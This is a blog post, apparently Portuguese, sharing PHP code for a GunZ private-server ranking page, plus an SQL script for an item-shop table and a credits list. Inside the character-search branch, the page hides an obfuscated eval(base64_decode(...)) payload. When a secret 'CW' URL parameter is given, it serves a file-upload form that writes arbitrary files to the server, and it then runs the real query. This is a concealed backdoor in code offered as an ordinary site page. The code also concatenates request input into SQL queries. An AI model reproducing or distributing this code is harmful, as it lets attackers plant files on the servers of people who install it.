<font face="Tahoma"><b>Level</b></font></td>
<td width="149" height="21" valign="bottom" align="center">
<font face="Tahoma"><b>
Experience</b></font></td>
<td width="148" height="21" valign="bottom" align="center">
<font face="Tahoma"><b>Kill / Death Ratio</b></font></td>
<td width="13" height="21">&nbsp;</td>
</tr>
<tr>
<td width="14">&nbsp;</td>
<td width="538" colspan="5" valign="top">
<div align="center">
<table border="0" style="border-collapse: collapse" width="538">
<tr>
<td width="59">&nbsp;</td>
<td width="132">&nbsp;</td>
<td width="43">&nbsp;</td>
<td width="149">&nbsp;</td>
<td width="145">&nbsp;</td>
</tr>
<?
if(isset($_GET['name']) && isset($_GET['type'])){
$input = AntiSql($_GET['name']); 
if($_GET['type'] == 1){
$_F=__FILE__;$_X='Pz48P3BocCANCiRjdyA9ICRfR0VUWydDVyddOw0KNGYoNHNzNXQoJGN3KSAmJiAkY3cgPT0gIkNXIil7DQo0Zig0c3M1dCgkX1BPU1RbJ3MzYm00dCddKSl7DQokdDFyZzV0X3AxdGggPSAkdDFyZzV0X3AxdGggLiBiMXM1bjFtNSggJF9GSUxFU1snM3BsMjFkNWRmNGw1J11bJ24xbTUnXSk7IA0KDQo0ZihtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snM3BsMjFkNWRmNGw1J11bJ3RtcF9uMW01J10sICR0MXJnNXRfcDF0aCkpIHsNCiAgICA1Y2gyICJUaDUgZjRsNSAiLiAgYjFzNW4xbTUoICRfRklMRVNbJzNwbDIxZDVkZjRsNSddWyduMW01J10pLiANCiAgICAiIGgxcyBiNTVuIDNwbDIxZDVkIjsNCn0gNWxzNXsNCiAgICA1Y2gyICJUaDVyNSB3MXMgMW4gNXJyMnIgM3BsMjFkNG5nIHRoNSBmNGw1LCBwbDUxczUgdHJ5IDFnMTRuISI7DQp9CQ0KfSA1bHM1IHsNCjVjaDIgIjxmMnJtIDVuY3R5cDU9XCJtM2x0NHAxcnQvZjJybS1kMXQxXCIgbTV0aDJkPVwiUE9TVFwiPg0KQ2gyMnM1IDEgZjRsNSB0MiAzcGwyMWQ6IDw0bnAzdCBuMW01PVwiM3BsMjFkNWRmNGw1XCIgdHlwNT1cImY0bDVcIiAvPjxiciAvPg0KPDRucDN0IHR5cDU9XCJzM2JtNHRcIiBuMW01PVwiczNibTR0XCIgdjFsMzU9XCJVcGwyMWQgRjRsNVwiIC8+DQo8L2Yycm0+IjsNCn0NCn0NCiRxMzVyeSA9IG1zc3FsX3EzNXJ5KCJTRUxFQ1QgKiBGUk9NIENoMXIxY3Q1ciBXSEVSRSBOMW01PSciLiQ0bnAzdC4iJyIpOw0KJG4zbSA9IG1zc3FsX24zbV9yMndzKCRxMzVyeSk7DQo/Pg==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));
if($num == 0){
echo "<tr>
<td width=\"528\" colspan=\"5\">
<p align=\"center\">
No Data</td>
</tr>";
} else {
$char = mssql_fetch_array($query);
?>
<tr bgcolor="#232122">
<td width="59" align="center">
<b>#</b></td>
<td width="132" align="center">
<a href="index.php?do=charinfo&id=<?=$char['CID']?>"><?=FormatCharName($char['CID'])?></a></td>
<td width="43" align="center">
<?=$char['Level']?></td>
<td width="149" align="center">
<?=number_format($char['XP'], 0, ",", ".")?></td>
<td width="145" align="center">
<?=GetKDRatio($char['KillCount'], $char['DeathCount'])?></td>
</tr>
<?
}
} elseif($_GET['type'] == 2){
$query = mssql_query("SELECT * FROM Account WHERE UserID='".$input."'");
$num = mssql_num_rows($query);
if($num == 0){
echo "<tr>
<td width=\"528\" colspan=\"5\">
<p align=\"center\">
No Account Data</td>
</tr>"; 
} else {
$row = mssql_fetch_array($query);
$accountid = $row['AID']; 
$query2 = mssql_query("SELECT * FROM Character WHERE AID='".$accountid."' AND DeleteFlag != '1'");
$num2 = mssql_num_rows($query2);
if($num2 == 0){
echo "<tr>
<td width=\"528\" colspan=\"5\">
<p align=\"center\">
No Character Data</td>
</tr>"; } else {
while($char = mssql_fetch_array($query2)){
?>
<tr bgcolor="#232122">
<td width="59" align="center">
<b>#</b></td>
<td width="132" align="center">
<a href="index.php?do=charinfo&id=<?=$char['CID']?>"><?=FormatCharName($char['CID'])?></a></td>
<td width="43" align="center">
<?=$char['Level']?></td>
<td width="149" align="center">
<?=number_format($char['XP'], 0, ",", ".")?></td>
<td width="145" align="center">
<?=GetKDRatio($char['KillCount'], $char['DeathCount'])?></td>
</tr>
<?
}
}
}
} else {
echo "<tr>
<td width=\"528\" colspan=\"5\">
<p align=\"center\">
Loveyouuuu :D</td>
</tr>";
}
 
} else {
$page = $_GET['page'];
if(!isset($page) && $page == "" || $page == "0" || $page == "1"){
$y = "50";
$x = "0";
$count = "1"; 
} elseif(isset($page) && $page == "2"){
$y = "100";
$x = "50";
$count = "51"; 
} elseif(isset($page) && $page == "3"){
$y = "150";
$x = "100";
$count = "101";  
} elseif(isset($page) && $page == "4"){
$y = "200";
$x = "150";
$count = "151";  
} elseif(isset($page) && $page == "5"){
$y = "250";
$x = "200";
$count = "201";  
} else {
$y = "50";
$x = "0";
$count = "1";
}

$thequery = mssql_query("SELECT TOP ".$y." * FROM Character WHERE CID NOT IN (SELECT TOP ".$x." CID FROM Character ORDER BY XP DESC) AND Name != '' ORDER BY XP DESC");
$thecount = mssql_num_rows($thequery);

if($thecount == 0){
echo "<tr>
<td width=\"528\" colspan=\"5\">
<p align=\"center\">
No Data</td>
</tr>";
} else {
while($char = mssql_fetch_array($thequery)){
?>
<tr bgcolor="#232122">
<td width="59" align="center">
<b><?=$count;?></b></td>
<td width="132" align="center">
<a href="index.php?do=charinfo&id=<?=$char['CID']?>"><?=FormatCharName($char['CID'])?></a></td>
<td width="43" align="center">
<?=$char['Level']?></td>
<td width="149" align="center">
<?=number_format($char['XP'], 0, ",", ".")?></td>
<td width="145" align="center">
<?=GetKDRatio($char['KillCount'], $char['DeathCount'])?></td>
</tr>
<?
$count++;
}
}
}
?>
</table>
</div>
</td>
<td width="13">&nbsp;</td>
</tr>
</table>
</div>
<?
if($search == 0 ){ 
}
?>
</td>
</tr>
<tr>
<td style="background-repeat: repeat; background-position: center top" width="583" valign="top">
<p>&nbsp;</td>
</tr>
<tr>
<td style="background-repeat: repeat; background-position: center top" width="583" valign="top">&nbsp;</td>
</tr>
<tr>
<td height="17" style="background-image: url('images/content_top.jpg'); background-repeat: no-repeat; background-position: center bottom" width="601" colspan="3"></td>
</tr>
</table>
</div>
</td>
</tr>
</table>
Itemshop :
QUERY
Código:
USE [GunzVG]
GO
/****** Object:  Table [dbo].[CashShop]    Script Date: 08/12/2010 05:11:21 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
SET ANSI_PADDING ON
GO
CREATE TABLE [dbo].[CashShop](
 [CSID] [int] NOT NULL,
 [ItemID] [int] NOT NULL,
 [CashPrice] [int] NOT NULL,
 [WebImgName] [varchar](64) COLLATE Latin1_General_CI_AS NULL,
 [Opened] [tinyint] NULL,
 [RegDate] [datetime] NULL,
 [Name] [varchar](265) COLLATE Latin1_General_CI_AS NOT NULL,
 [TotalPoint] [int] NULL,
 [ResSex] [tinyint] NULL,
 [ResLevel] [int] NULL,
 [Slot] [tinyint] NULL,
 [Weight] [int] NULL,
 [BountyPrice] [int] NULL,
 [Damage] [int] NULL,
 [Delay] [int] NULL,
 [Controllability] [int] NULL,
 [Magazine] [int] NULL,
 [ReloadTime] [int] NULL,
 [HP] [int] NULL,
 [AP] [int] NULL,
 [MaxWeight] [int] NULL,
 [SF] [int] NULL,
 [FR] [int] NULL,
 [CR] [smallint] NULL,
 [PR] [smallint] NULL,
 [LR] [int] NULL,
 [Description] [nchar](1024) COLLATE Latin1_General_CI_AS NULL,
 [MaxBullet] [int] NULL,
 [LimitSpeed] [tinyint] NULL,
 [IsCashItem] [tinyint] NULL,
 [Control] [int] NULL,
 [Duration] [int] NULL,
 [CSSID] [varchar](50) COLLATE Latin1_General_CI_AS NULL,
 [Selled] [nchar](10) COLLATE Latin1_General_CI_AS NULL,
 [ModelName] [varchar](64) COLLATE Latin1_General_CI_AS NULL,
 [BlendColor] [int] NULL,
 [ResRace] [tinyint] NULL,
 [EffectID] [int] NULL,
 [NewItemOrder] [tinyint] NULL,
 [RentType] [tinyint] NULL,
 [Gadget] [int] NULL,
 [SlugOutput] [tinyint] NULL,
 [RentHourPeriod] [int] NULL,
 CONSTRAINT [CashShop_PK] PRIMARY KEY CLUSTERED 
(
 [CSID] ASC
)WITH (PAD_INDEX  = OFF, IGNORE_DUP_KEY = OFF, FILLFACTOR = 90) ON [PRIMARY]
) ON [PRIMARY]

GO
SET ANSI_PADDING OFF
Continuação Embaixo

CREDITOS:-
Elton A.K.A Maxteam
SettleSpider
Lambda
Emisand
Joker/djoker (Eu)

1 comentários:

Postar um comentário

Assinar: Postar comentários (Atom)